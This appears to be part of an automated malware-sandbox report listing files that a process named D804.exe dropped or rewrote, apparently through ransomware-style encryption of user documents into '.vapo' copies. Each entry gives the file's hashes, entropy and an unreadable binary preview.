Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.830698303934652
Encrypted:	false
SSDEEP:	24:54jqYSrgIvFFAoKnkO492RkBV3Wc94jzCxqIibp6G+ttKllUK4aZeIyXbD:Emd92Rg59sz8Cp6GqtAl0hDD
MD5:	744777CA57BDDA309D242070A3C1B354
SHA1:	362CB5826E8A26220CCEEC157EF674679A17DF6C
SHA-256:	212550A2BC7F461AAFA59ACD5D0FAC945CCA9C20816433DADA7222D08F6D3ECF
SHA-512:	03C1460B42B8D7C04AC22443AD91BA9BBAA9DCFCF7897C599AF5AEB82C76F76825BC6B3DB7F957CC3C3E9DFC193473A0E4C85554B6BA037EABD75D16ACFBCA0E
Malicious:	false
Reputation:	unknown
Preview:	VWDFP.b/G\.\>/a.?.'.1zH.....HL.{.....b.Jx....v..........C.....?-9..... ..].._.I.I.n..J.<.....m...j..k...L.Qg.'.P.\|.q .,..e....Q...".;=..n.....(.X#.\.....C.T.QRH......8.6._.X.c.ED.y.." .e(..._...J.m.x.ADMNs'y..L\|P..y(.sL4{.p.] ....(CR..0.].!B.....&.j~........b\.X.......P..^.R.......u..=.F........E.'D%..}{[.X."z.6....2.{.%....;....g....)....=trv.,.......&.....u{..u...l.~rTUR.i1...0.]...6.2..cF......5.X.....`......v....]q9......<.-.......C/.[.u#@.q..}.[..n...z..K0q...H..Y(.)).4.....%.....@z....dd;..G3.]2.0.e,.-&...ER..'8..v.......$.....Z@.v...Y.h.......l.."4...q..k#....... ..<./..z....E......n{M.0O........g.#1.l.0.?;Z.8.3.....V?..=.'.&r.......\.wLnNx`.....}if..2\..>...ni/.U:...;..<......3c..z.:mw...f2b....*k..t:..c....Oe...\.b.zh.A.hM{...wOk..o.'..e.HL.B^..v.^S.k..$~.wl.....k.X.H.$.v.t.....D(.....M.......X........F....6.M.sI..gy./Y.x[#L..v..L..F..C.. ..H....q{....o.......w.I\;.K ...oI.f...0..xF...\|.....T.-l.......@....T...$U.)........}..

C:\Users\user\Documents\ZIPXYXWIOY.docx

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.841314563805004
Encrypted:	false
SSDEEP:	24:RBTTqiDSQz5pv8F56awDzzpDIhfRIQzjrm+Spp2uPQST8BD58TDKIbD:/TTDDB5p8QBIheOHmz2WQo85ivKSD
MD5:	EA780ACE27937202797469D5DAC2E2F4
SHA1:	74B53266AE010C22EF1B21CA59978E19A5656B1F
SHA-256:	796A7382DDFE57E08972F8F3CB87FB4FAF290FCFD21DD2FCA51A640D288EB16A
SHA-512:	ABC163C9EFF414C6944250C2C06F716B1381E5B2463099B8FACC011CE75C4E9B64B849C72C692590786016495F92F60372F24F6AD4A735E3868DD104715E5483
Malicious:	false
Reputation:	unknown
Preview:	ZIPXY..._-.k...H%.{..(..._Q!n...A........H.w.....!!].x.;.] ....2.".rN98Y.[.....5..#......h..y.....8....#p..\.c.;l.8......m.M.Je.Vw.];...v.(yu.lx5.1..........\......O.d...#...W..$.+.:....}.s..w%..ol..s..e..s.ST.R..\|gosf......7.6wu..i.j... 3..>..e.`..7..,.e.pn....4~...i.`\[>..b.s..gt.7.........@Y...+.'.H.).".F.cv 4.m..@`^....Pm.X.......@.s...E.x.A.".F...v.......1....8..^j.;.O.........B.../....;.o.#..}...).......K.....:...(.......:..:@.ix!.cL..0..$th.vX..Ea.<....<.@.xE\...B..Qy.A.....U.(.%....X...4...M...^H.....V..yy.D3.W`.....>.=1............z..1k.i..6w....l*i.3.[M57..k...[..J..[:.._...iU...-.<....."/..r.rCT......0.N..I...s.../<...2....$}....^....A......I.Q'............$Q.w..Q.w`b.:c...:...%f../....mBm......i..]S8w.B.9.^...9...(./..lc.0.7...O..9...m6 N..l../.+2>b.k......~n\...=.....Qd.J7....K..T}x;W.IR..3@jjvY.TeKl..{z....z.^].....'....{2.c..Z.... ......^I.}L....].`....k...(.....h5....M.........h......xz.n...F..zw'~......^+{zI&.

C:\Users\user\Documents\ZIPXYXWIOY.docx.vapo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.841314563805004
Encrypted:	false
SSDEEP:	24:RBTTqiDSQz5pv8F56awDzzpDIhfRIQzjrm+Spp2uPQST8BD58TDKIbD:/TTDDB5p8QBIheOHmz2WQo85ivKSD
MD5:	EA780ACE27937202797469D5DAC2E2F4
SHA1:	74B53266AE010C22EF1B21CA59978E19A5656B1F
SHA-256:	796A7382DDFE57E08972F8F3CB87FB4FAF290FCFD21DD2FCA51A640D288EB16A
SHA-512:	ABC163C9EFF414C6944250C2C06F716B1381E5B2463099B8FACC011CE75C4E9B64B849C72C692590786016495F92F60372F24F6AD4A735E3868DD104715E5483
Malicious:	false
Reputation:	unknown
Preview:	ZIPXY..._-.k...H%.{..(..._Q!n...A........H.w.....!!].x.;.] ....2.".rN98Y.[.....5..#......h..y.....8....#p..\.c.;l.8......m.M.Je.Vw.];...v.(yu.lx5.1..........\......O.d...#...W..$.+.:....}.s..w%..ol..s..e..s.ST.R..\|gosf......7.6wu..i.j... 3..>..e.`..7..,.e.pn....4~...i.`\[>..b.s..gt.7.........@Y...+.'.H.).".F.cv 4.m..@`^....Pm.X.......@.s...E.x.A.".F...v.......1....8..^j.;.O.........B.../....;.o.#..}...).......K.....:...(.......:..:@.ix!.cL..0..$th.vX..Ea.<....<.@.xE\...B..Qy.A.....U.(.%....X...4...M...^H.....V..yy.D3.W`.....>.=1............z..1k.i..6w....l*i.3.[M57..k...[..J..[:.._...iU...-.<....."/..r.rCT......0.N..I...s.../<...2....$}....^....A......I.Q'............$Q.w..Q.w`b.:c...:...%f../....mBm......i..]S8w.B.9.^...9...(./..lc.0.7...O..9...m6 N..l../.+2>b.k......~n\...=.....Qd.J7....K..T}x;W.IR..3@jjvY.TeKl..{z....z.^].....'....{2.c..Z.... ......^I.}L....].`....k...(.....h5....M.........h......xz.n...F..zw'~......^+{zI&.

C:\Users\user\Documents\ZIPXYXWIOY.pdf

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.837573549225933
Encrypted:	false
SSDEEP:	24:55vIoJOp7erAdpBteionhWlRx+GGNq4WWmj92d8JDBYVLia7AiA+y5Cp2bD:LIo8arAdbtghWlRxbGNB0AdQYdMykD
MD5:	2E44A4B41FC6872F100EC0B4F1F82A49
SHA1:	02B70D8A9FD413E4F278863573841E8BFF36C782
SHA-256:	06E2ED9140540A864FEC88ABB31BC3CC8868D47F0D49C1DC3D66413419C2EB04
SHA-512:	35CA14517943CB145B311A38F9F3732E17D68FCEA88B457627EFDBE7A18696EBFC857B4BCAD3BA6F7410078B02FB8C5F3D5C0B5DF4C69E18ECCF8BF67C59C856
Malicious:	false
Reputation:	unknown
Preview:	ZIPXY..Gg{I.r.6..KX?..\|.}.5....)/..n.#..P.....i.X.e....2#n.N..?e..U..>e.......y.8..~...h...n.....fE.wm......N.5.....s.V#.1rd.Kd...A.DL./JJ..Q.O..........MdWN..$.'.:.x.6.z...q.h..tj........X..s..q.G..h.O..;..y.5........g..x..-.)......{.....&]..,....J`!..%.D..U...U^9....p...P.(.H...d)K.....LJ......4 ....Hs}...uqK.9.L.....:t..n...y,.../J....i....n.....Nk.3...,.m.}.....C...,nlS..26i..,....#_YZ..F.AN=g...f..jd....0..F..=.. .3..zB....s?.z...M.1].,...'.R.A..S.YUm...6Q..C.g...1...;.{..@ILp.=.`.?iPV.It'Vl......Q0.Z..]..X?..F...v=.....ga.l^.tWwa+.l..2.Vs.Pm....@....9.xF..%J9..(S.H=..B......a......G.w.0..,.]...m.H.WzdV.T.p.N...........1C={.Q.)..) .5....j.1d..[d.....>..,6Y,.Z......^......J....`.U..-..{...}sm... ...c....ki..lg.z8... gQj.6Ng.$M......0...9.).\|.+.9........8b..z.fil.P...b[..Vo.s..\|. ..(.`!.J.h6..!Y....I......U..../x.C.mn3..7.I...I..v.{R.....Q.<.+..os.U.d.P.V...?.O!.:....[...4.^d.......[.......H.Gr/...%.qk..RIajP......=

C:\Users\user\Documents\ZIPXYXWIOY.pdf.vapo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.837573549225933
Encrypted:	false
SSDEEP:	24:55vIoJOp7erAdpBteionhWlRx+GGNq4WWmj92d8JDBYVLia7AiA+y5Cp2bD:LIo8arAdbtghWlRxbGNB0AdQYdMykD
MD5:	2E44A4B41FC6872F100EC0B4F1F82A49
SHA1:	02B70D8A9FD413E4F278863573841E8BFF36C782
SHA-256:	06E2ED9140540A864FEC88ABB31BC3CC8868D47F0D49C1DC3D66413419C2EB04
SHA-512:	35CA14517943CB145B311A38F9F3732E17D68FCEA88B457627EFDBE7A18696EBFC857B4BCAD3BA6F7410078B02FB8C5F3D5C0B5DF4C69E18ECCF8BF67C59C856
Malicious:	false
Reputation:	unknown
Preview:	ZIPXY..Gg{I.r.6..KX?..\|.}.5....)/..n.#..P.....i.X.e....2#n.N..?e..U..>e.......y.8..~...h...n.....fE.wm......N.5.....s.V#.1rd.Kd...A.DL./JJ..Q.O..........MdWN..$.'.:.x.6.z...q.h..tj........X..s..q.G..h.O..;..y.5........g..x..-.)......{.....&]..,....J`!..%.D..U...U^9....p...P.(.H...d)K.....LJ......4 ....Hs}...uqK.9.L.....:t..n...y,.../J....i....n.....Nk.3...,.m.}.....C...,nlS..26i..,....#_YZ..F.AN=g...f..jd....0..F..=.. .3..zB....s?.z...M.1].,...'.R.A..S.YUm...6Q..C.g...1...;.{..@ILp.=.`.?iPV.It'Vl......Q0.Z..]..X?..F...v=.....ga.l^.tWwa+.l..2.Vs.Pm....@....9.xF..%J9..(S.H=..B......a......G.w.0..,.]...m.H.WzdV.T.p.N...........1C={.Q.)..) .5....j.1d..[d.....>..,6Y,.Z......^......J....`.U..-..{...}sm... ...c....ki..lg.z8... gQj.6Ng.$M......0...9.).\|.+.9........8b..z.fil.P...b[..Vo.s..\|. ..(.`!.J.h6..!Y....I......U..../x.C.mn3..7.I...I..v.{R.....Q.<.+..os.U.d.P.V...?.O!.:....[...4.^d.......[.......H.Gr/...%.qk..RIajP......=

C:\Users\user\Documents\ZIPXYXWIOY\GLTYDMDUST.xlsx

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.826171880960428
Encrypted:	false
SSDEEP:	24:vb6oVVqlvU9gojRIETlxl55djXeo8XIC9jCb2OME4J4uhtboB3vwV+bD:vPVVcExbPdjXeowg+B0yWD
MD5:	1A8A7C5BF18F64C5A09E3875D4CF2325
SHA1:	237140A055525E3D1B02E49E87FB14CEAE6B3062
SHA-256:	2ED4FA05AD3E911072D9E31E930BD821606FE70A4B42FE2FFB51D5853B6799F4
SHA-512:	126E33AF33AC37ACC1419EF0B44B62C970DC4787D13577E464FEC874502D50D567B95B9D7CAC542FC82FE547D19A6F25AC6B0F8266F45DDB0629426D991794D0
Malicious:	false
Reputation:	unknown
Preview:	GLTYD.a.Y....LA.Q.S.,...e.'e..l..L.v..0 ...xS.c(.u..d.[.....`...9...lh..}$...UK})...zT9.......[...F..=.].S,.......X...._.J..>#.d._..f.....g0T.M.jp......T0..yf.... ...[H.q$/..[Y...<.(y.......\ZM@.P=T.i.U..8...".u...+..4e..e.7.#m.@...~.?../..X.=...M.{.O.a..h......5.8...q...?[.x&6.....1.3...@D.P...".D..f5...Q...w....X.."4...l......lD.p.h.c..9N...@.y..]....B.3.4.x.K(....2.IQ.......Y.u...s<.. a..s..~.....6r.6'.......5H.M.j..q...@9...fZ.}...O...<9.^.....Dt.i..\f..\|.....t.X,"fn.....='V..6.l!.QF.T.........X.1.77..-.Sw...&a+..7J...<..Z........,.g..k.....Nqm..r.7.1..#.N.Y....h..7..6......\|.S.j.(.......In......O.f.I..t....w..~%'%..;c...OP....>Q.,.6............9.(..\| f....3...L.@.j.....+Q.M%...d=...u....../...c......f...g..E..sb.4.\|oQ.....K..A\|e..4D19.x.v....p....-...aq........fo.......O..SH....Jh.:...?..1l'...kj.\|jOV-...G....q...C.....4m...+/o..~.>.&.....KD..79RR.J.Brb.]....$wN(..Q$g\..>....7..Z.kN3G....\|l.$....-&...v.....rq.'ps qk....X...Y.s

C:\Users\user\Documents\ZIPXYXWIOY\GLTYDMDUST.xlsx.vapo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.826171880960428
Encrypted:	false
SSDEEP:	24:vb6oVVqlvU9gojRIETlxl55djXeo8XIC9jCb2OME4J4uhtboB3vwV+bD:vPVVcExbPdjXeowg+B0yWD
MD5:	1A8A7C5BF18F64C5A09E3875D4CF2325
SHA1:	237140A055525E3D1B02E49E87FB14CEAE6B3062
SHA-256:	2ED4FA05AD3E911072D9E31E930BD821606FE70A4B42FE2FFB51D5853B6799F4
SHA-512:	126E33AF33AC37ACC1419EF0B44B62C970DC4787D13577E464FEC874502D50D567B95B9D7CAC542FC82FE547D19A6F25AC6B0F8266F45DDB0629426D991794D0
Malicious:	false
Reputation:	unknown
Preview:	GLTYD.a.Y....LA.Q.S.,...e.'e..l..L.v..0 ...xS.c(.u..d.[.....`...9...lh..}$...UK})...zT9.......[...F..=.].S,.......X...._.J..>#.d._..f.....g0T.M.jp......T0..yf.... ...[H.q$/..[Y...<.(y.......\ZM@.P=T.i.U..8...".u...+..4e..e.7.#m.@...~.?../..X.=...M.{.O.a..h......5.8...q...?[.x&6.....1.3...@D.P...".D..f5...Q...w....X.."4...l......lD.p.h.c..9N...@.y..]....B.3.4.x.K(....2.IQ.......Y.u...s<.. a..s..~.....6r.6'.......5H.M.j..q...@9...fZ.}...O...<9.^.....Dt.i..\f..\|.....t.X,"fn.....='V..6.l!.QF.T.........X.1.77..-.Sw...&a+..7J...<..Z........,.g..k.....Nqm..r.7.1..#.N.Y....h..7..6......\|.S.j.(.......In......O.f.I..t....w..~%'%..;c...OP....>Q.,.6............9.(..\| f....3...L.@.j.....+Q.M%...d=...u....../...c......f...g..E..sb.4.\|oQ.....K..A\|e..4D19.x.v....p....-...aq........fo.......O..SH....Jh.:...?..1l'...kj.\|jOV-...G....q...C.....4m...+/o..~.>.&.....KD..79RR.J.Brb.]....$wN(..Q$g\..>....7..Z.kN3G....\|l.$....-&...v.....rq.'ps qk....X...Y.s

C:\Users\user\Documents\ZIPXYXWIOY\LHEPQPGEWF.mp3

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.870609295705969
Encrypted:	false
SSDEEP:	24:9SaRSWbY+xDILMNaDilYIUJ96t+1yA7uahztw3sMmS4DfVOiW9z1pbyTe0nusU7X:9SSSW1xTNwpI2okyAjhOcMmXNMhme0nC
MD5:	49C31A68EE4EFEDA6FBC27B008E17405
SHA1:	C41F64DB831D5E1497DE53E9861B324DC0156900
SHA-256:	6566F5585B5D647625EFE2ECF6A27477BDDD24B7EC81D0735C808EE7837C555F
SHA-512:	55A9517B2AF1AA8EC8DD5D275E56B42BBC567AB6C1A98A4E5F4761A3153A4AC8700BC624AD62947189D5CFDD2EB8FC39665260F6058B4E251158A731EFB26217
Malicious:	false
Reputation:	unknown
Preview:	LHEPQ#...K...w..4.}......b..pe..=.r/.....r..ZT.,9.(....=,..@.d.X..\|[.c.&....JS....l...eGY...@.e....j.,.X,..F@,.nV.}]..9....(K..X...tA.\.]af.G..1..h.~3...i.&.Nf..3o&..r...gM...gJ"M8........A...jK".:.x..U-.(4_..6....<>..jD.X.@nD..........\|...Z.....j..n@.iG..":.$Q_...9....@.d...i.[.$Mz5:.q.a...-...3.MhU.t.......e..J..a...;.MP...F..:.5.,)1..b.....YTty.U.A..w.....og.cv.Yj..j.D......h..l...-.*a0Ah\|..>AMF.<._O(:W.+B..BT.Z...2....vI&.CIu"v...mp\.'a.......z.C.X..B..QD..Z.7.......A.v...9.y..E..V?.H.@...H.+......H.y.N4.j..\........\.r...k....o.Fd...{m./D.im..S......fR...Rr.%.{MmT..v<..Qk........F.\|\H.Gh.ApH.K\|...?..o..%..%..2}.E..I..}.xx}yr./^.........z.).nl...<=..b.} r[.],..).'.....M..v..[....OH``.....Ee2!.m...[...\..4^.e...;aq.}_.&...pQ..`...g..e.....S,..)...A....HHt...U>[.W.D.WK.=2.l}..t.%.,....k.....(d..f9.........]667D.F.T.i...d!.`U..z...........r...+.^g.[.8.r._....`.[..R...;......]><......<...e.3/..=..^5.Z.p.9E.,

C:\Users\user\Documents\ZIPXYXWIOY\LHEPQPGEWF.mp3.vapo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.870609295705969
Encrypted:	false
SSDEEP:	24:9SaRSWbY+xDILMNaDilYIUJ96t+1yA7uahztw3sMmS4DfVOiW9z1pbyTe0nusU7X:9SSSW1xTNwpI2okyAjhOcMmXNMhme0nC
MD5:	49C31A68EE4EFEDA6FBC27B008E17405
SHA1:	C41F64DB831D5E1497DE53E9861B324DC0156900
SHA-256:	6566F5585B5D647625EFE2ECF6A27477BDDD24B7EC81D0735C808EE7837C555F
SHA-512:	55A9517B2AF1AA8EC8DD5D275E56B42BBC567AB6C1A98A4E5F4761A3153A4AC8700BC624AD62947189D5CFDD2EB8FC39665260F6058B4E251158A731EFB26217
Malicious:	false
Reputation:	unknown
Preview:	LHEPQ#...K...w..4.}......b..pe..=.r/.....r..ZT.,9.(....=,..@.d.X..\|[.c.&....JS....l...eGY...@.e....j.,.X,..F@,.nV.}]..9....(K..X...tA.\.]af.G..1..h.~3...i.&.Nf..3o&..r...gM...gJ"M8........A...jK".:.x..U-.(4_..6....<>..jD.X.@nD..........\|...Z.....j..n@.iG..":.$Q_...9....@.d...i.[.$Mz5:.q.a...-...3.MhU.t.......e..J..a...;.MP...F..:.5.,)1..b.....YTty.U.A..w.....og.cv.Yj..j.D......h..l...-.*a0Ah\|..>AMF.<._O(:W.+B..BT.Z...2....vI&.CIu"v...mp\.'a.......z.C.X..B..QD..Z.7.......A.v...9.y..E..V?.H.@...H.+......H.y.N4.j..\........\.r...k....o.Fd...{m./D.im..S......fR...Rr.%.{MmT..v<..Qk........F.\|\H.Gh.ApH.K\|...?..o..%..%..2}.E..I..}.xx}yr./^.........z.).nl...<=..b.} r[.],..).'.....M..v..[....OH``.....Ee2!.m...[...\..4^.e...;aq.}_.&...pQ..`...g..e.....S,..)...A....HHt...U>[.W.D.WK.=2.l}..t.%.,....k.....(d..f9.........]667D.F.T.i...d!.`U..z...........r...+.^g.[.8.r._....`.[..R...;......]><......<...e.3/..=..^5.Z.p.9E.,

C:\Users\user\Documents\ZIPXYXWIOY\LIJDSFKJZG.pdf

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.842819988832529
Encrypted:	false
SSDEEP:	24:X6ItOVHjvjJZ5of0u13MBGRYBeKL2OH1Swt1SYZWQBcLJThbD:54vosulbRgLnSwt1FWQBclTxD
MD5:	B66DF378F1CE81B164140392C8BD38FB
SHA1:	EE12606ED7A0C123683ED68E5DF65631DC0FE484
SHA-256:	4BF997F4ED9296156BEE883B7A984CE320024F458D27815A0285D23B15A3DE48
SHA-512:	7606BD7430DBEA8F26A5FC173DB51E3A9DCB21BF1C04F68DCF38FEF764D2E5A165D5F1445D337E71DD67710AD93F7D256EB85BEB239F9F0EF2E6D455A5C13913
Malicious:	false
Reputation:	unknown
Preview:	LIJDS9.Q.U7D..Hp...%..b.p"...B#.....Xi~.K.O}....m.j..7...9....B/....f.#}.}..&.5f.(s.j.F...^$n...r..?/..O&T.....Fv........(U..a....9.G!gX...r.O..%.%.......N...k..O!.P...E..?8.\|.\.o.u:.,A...^."....\r7=.<d=.F..l..s.F,.....K.....d.be..`..<...FGPAFA...f...N..,.?:..J,L]jMm......?.%...)^....~/.&5..t(N._........B......_v\..Ns........\.Q$......N.,..@1....\|.{....e.,......W.......R.....".5.t....-).E...!.P..Nz.$R0.0.f.6.<.......]YQ..Q.....Z)&.t....."m.-.....%........I.p.9.<....O..g2.l'....RJ.t.yy...k.....9..66.W.:#..h.E..@...B...#....].M....S....lnK.P0..wz.....P.......L.Si.......xd.(..Z*.Jw!..6...%...57s..X].M~.b..7.s.u..[.?......9..n....`.`..<...}....;..@.f.t...Y<D..&s.%B...t...F..k.........y..".2............v(}...c...d....Je.z....6...n.U..X.......J>......}..]........f....7.\|e.D.<.....]..]...N.KV.?nr.r>..51..1...CJ..6A.."...4.....XK.7A....J...\|.Cb...."..0..p...j.+..R.H...1../1...g.kI...S.~....gZ.)L.x..0\|?.U2.1P...O.....K..r#...6.............1.9.\.jUV&~V.

C:\Users\user\Documents\ZIPXYXWIOY\LIJDSFKJZG.pdf.vapo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.842819988832529
Encrypted:	false
SSDEEP:	24:X6ItOVHjvjJZ5of0u13MBGRYBeKL2OH1Swt1SYZWQBcLJThbD:54vosulbRgLnSwt1FWQBclTxD
MD5:	B66DF378F1CE81B164140392C8BD38FB
SHA1:	EE12606ED7A0C123683ED68E5DF65631DC0FE484
SHA-256:	4BF997F4ED9296156BEE883B7A984CE320024F458D27815A0285D23B15A3DE48
SHA-512:	7606BD7430DBEA8F26A5FC173DB51E3A9DCB21BF1C04F68DCF38FEF764D2E5A165D5F1445D337E71DD67710AD93F7D256EB85BEB239F9F0EF2E6D455A5C13913
Malicious:	false
Reputation:	unknown
Preview:	LIJDS9.Q.U7D..Hp...%..b.p"...B#.....Xi~.K.O}....m.j..7...9....B/....f.#}.}..&.5f.(s.j.F...^$n...r..?/..O&T.....Fv........(U..a....9.G!gX...r.O..%.%.......N...k..O!.P...E..?8.\|.\.o.u:.,A...^."....\r7=.<d=.F..l..s.F,.....K.....d.be..`..<...FGPAFA...f...N..,.?:..J,L]jMm......?.%...)^....~/.&5..t(N._........B......_v\..Ns........\.Q$......N.,..@1....\|.{....e.,......W.......R.....".5.t....-).E...!.P..Nz.$R0.0.f.6.<.......]YQ..Q.....Z)&.t....."m.-.....%........I.p.9.<....O..g2.l'....RJ.t.yy...k.....9..66.W.:#..h.E..@...B...#....].M....S....lnK.P0..wz.....P.......L.Si.......xd.(..Z*.Jw!..6...%...57s..X].M~.b..7.s.u..[.?......9..n....`.`..<...}....;..@.f.t...Y<D..&s.%B...t...F..k.........y..".2............v(}...c...d....Je.z....6...n.U..X.......J>......}..]........f....7.\|e.D.<.....]..]...N.KV.?nr.r>..51..1...CJ..6A.."...4.....XK.7A....J...\|.Cb...."..0..p...j.+..R.H...1../1...g.kI...S.~....gZ.)L.x..0\|?.U2.1P...O.....K..r#...6.............1.9.\.jUV&~V.

C:\Users\user\Documents\ZIPXYXWIOY\SNIPGPPREP.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.857229779021178
Encrypted:	false
SSDEEP:	24:CrGEfwDAHP2TIUxcf7Izd+SoinoSTG2ci83Mf3Xax/D9ArM/wRwvbD:78+7GIzd3oioTzKna5D9o+zD
MD5:	0AE57C1BEC6EF53B91AF6DF429C6D4FA
SHA1:	C1A1E8D50704C0BF9E964BEB34F92AFFA47FEA62
SHA-256:	594825AD2F22E1D86E0548F85272B12496F2C06C95489D624BDA9178C743A888
SHA-512:	BB08FB52AE30F94E2BB8A5CAD024E579311C43E1A8ADD6A8F8F709168D9D5EFB6F4E95A090BB802893C0CDA987CB0E8AEC8589ABDC2FBD3F199E81FEBBC7E3F0
Malicious:	false
Reputation:	unknown
Preview:	SNIPGJu..g\|....C.ga...pG........e..mq...-.y.$....%...../...+...9XRS.../,.............2..y..N...&..>.Q...PWQ...M=.vz.KY....r..[.....K}R!.}'.n.....=..c t.........A.m].....+....nIM]^Q.]P.5.....zC..K....Hr2..8..p.G...N.C...W.bb.R:..0.]... i..yW.:...... (nG.x..n.p(.....j.P.f.N+.u.....L.%...MK...D?.W.;......T.!.q.P...F.F.....Z..5j.Nk..9g..y......8.j.#...=..hqc.M..Xz3\e.~&....=...7$.qZ.........._7...:.c...[..o'..M....Z........Lh....7.s.{....u.....p.m.%'..z..w...2..}....uI.y8.U.=....,.O..{...f^..;_{....$..%SL.....[.1.N....CZU.0J...m.C..(.,..I..>..>X~.."o..2C...\|;.8Q.\|!.w.Hel.D ..Z.4+.....CG.#aGK..UB&.B4d_.E....v.....C..?+.d.z.'...+...T..7hc........r5.=~...X.Ns.5..=cIY...U.d.....p.....w....E.-...C....V.i.e.;h...w...,~S^}....?..d!.V...x8..'....gf*....4..."...~.6Mi.Sl<..gF..:n{\...0.).j..`%a......_.K%......rU.V/...i....-q..gj/...,~....{4t.<.-.zm.)w....5z..R..2.8.g=Q..l.1.Q....l=...+o._\|....F.....g....jN............9...#v.w...{.R.X.n>S.f..o.../.\|.

C:\Users\user\Documents\ZIPXYXWIOY\SNIPGPPREP.png.vapo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.857229779021178
Encrypted:	false
SSDEEP:	24:CrGEfwDAHP2TIUxcf7Izd+SoinoSTG2ci83Mf3Xax/D9ArM/wRwvbD:78+7GIzd3oioTzKna5D9o+zD
MD5:	0AE57C1BEC6EF53B91AF6DF429C6D4FA
SHA1:	C1A1E8D50704C0BF9E964BEB34F92AFFA47FEA62
SHA-256:	594825AD2F22E1D86E0548F85272B12496F2C06C95489D624BDA9178C743A888
SHA-512:	BB08FB52AE30F94E2BB8A5CAD024E579311C43E1A8ADD6A8F8F709168D9D5EFB6F4E95A090BB802893C0CDA987CB0E8AEC8589ABDC2FBD3F199E81FEBBC7E3F0
Malicious:	false
Reputation:	unknown
Preview:	SNIPGJu..g\|....C.ga...pG........e..mq...-.y.$....%...../...+...9XRS.../,.............2..y..N...&..>.Q...PWQ...M=.vz.KY....r..[.....K}R!.}'.n.....=..c t.........A.m].....+....nIM]^Q.]P.5.....zC..K....Hr2..8..p.G...N.C...W.bb.R:..0.]... i..yW.:...... (nG.x..n.p(.....j.P.f.N+.u.....L.%...MK...D?.W.;......T.!.q.P...F.F.....Z..5j.Nk..9g..y......8.j.#...=..hqc.M..Xz3\e.~&....=...7$.qZ.........._7...:.c...[..o'..M....Z........Lh....7.s.{....u.....p.m.%'..z..w...2..}....uI.y8.U.=....,.O..{...f^..;_{....$..%SL.....[.1.N....CZU.0J...m.C..(.,..I..>..>X~.."o..2C...\|;.8Q.\|!.w.Hel.D ..Z.4+.....CG.#aGK..UB&.B4d_.E....v.....C..?+.d.z.'...+...T..7hc........r5.=~...X.Ns.5..=cIY...U.d.....p.....w....E.-...C....V.i.e.;h...w...,~S^}....?..d!.V...x8..'....gf*....4..."...~.6Mi.Sl<..gF..:n{\...0.).j..`%a......_.K%......rU.V/...i....-q..gj/...,~....{4t.<.-.zm.)w....5z..R..2.8.g=Q..l.1.Q....l=...+o._\|....F.....g....jN............9...#v.w...{.R.X.n>S.f..o.../.\|.

C:\Users\user\Documents\ZIPXYXWIOY\VWDFPKGDUF.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8601383265172515
Encrypted:	false
SSDEEP:	24:Y71qfnWtUcfVOQYVbHyaRCGMXP+0qr5ex2QSaJkkJqH5EXdSYThadbD:K9rVOdV2aH6Yex2CkzZE4KhKD
MD5:	B3864BC701E6B28C8B9307F02B47C319
SHA1:	E3002950C33CA7EE4B49F04558D57F776900C04C
SHA-256:	A010EF7563040FD94FA62FF1BC543AC5DB6A6A6365BC2E55BA1F54B50F792490
SHA-512:	A3FB17D83C8D257C3AB619E581A21FC7029D87671E712B1619D086B3DE49729DC81FAA86E0875EECA624939E7CC52F6DB00A8F908B0676C49678A3A59DF354F5
Malicious:	false
Reputation:	unknown
Preview:	VWDFP 1...&...\....#.-.V ..5K..;....?\....s..B..f..q..k41....d.p..p.X..s..=J.g.g.A.W<...;.z.`D.,..Z.O._...Gb.sm.+)..A......\].g)....,C...... 3@.Y..[..z.@....Y..,6..J+.m.....b.&...}H...`%...../3..M..Z..K....-k..I.4K.....r%1tT.....i...E..k2V...trq. .\|l....Kn...j.tSt...g;f...u.2.l.4.<.j.u..=...>.../X...B1.....aX......n{e?.B_..';..4(.vGp....7D4.\|4......X..sd.HVIY&.+u......a..7.b..._'..]..;J..F....(UwZ...S.c.}`.#(5 ..F}..k.8.R.8.Q.W..1.E...rG..N8.$.......8......_..#A._...t../.ci ..?...a..........~...P.......<w.!.............N..w..]@....9.]K.....I....r....3e..T.Q.P.....h.lA.s....'.@d/._b&'...zj.n.f.9d.....&5/9<S...j4.3f....H.P......cqv....7...U"Y...2qh.'+8.,.y....!h_.07..xb.A./...@..L0...6.wkh.W....".~.!(d...x.R.a....<..Z.0...A(..#.^....o`M.:.('.m....ZBbo.\Er..{.I...F..0.p.(.QA..YEM....VK..Z.$.%.6;........S.(.......D.X.._.,.......X....PO....8P\.gd.v..).8..\*....w..F.xXTD.R.^/..%..HEY.a.V\|...Dm.6R.G"$..p?W.a...-.-..].6...j.3

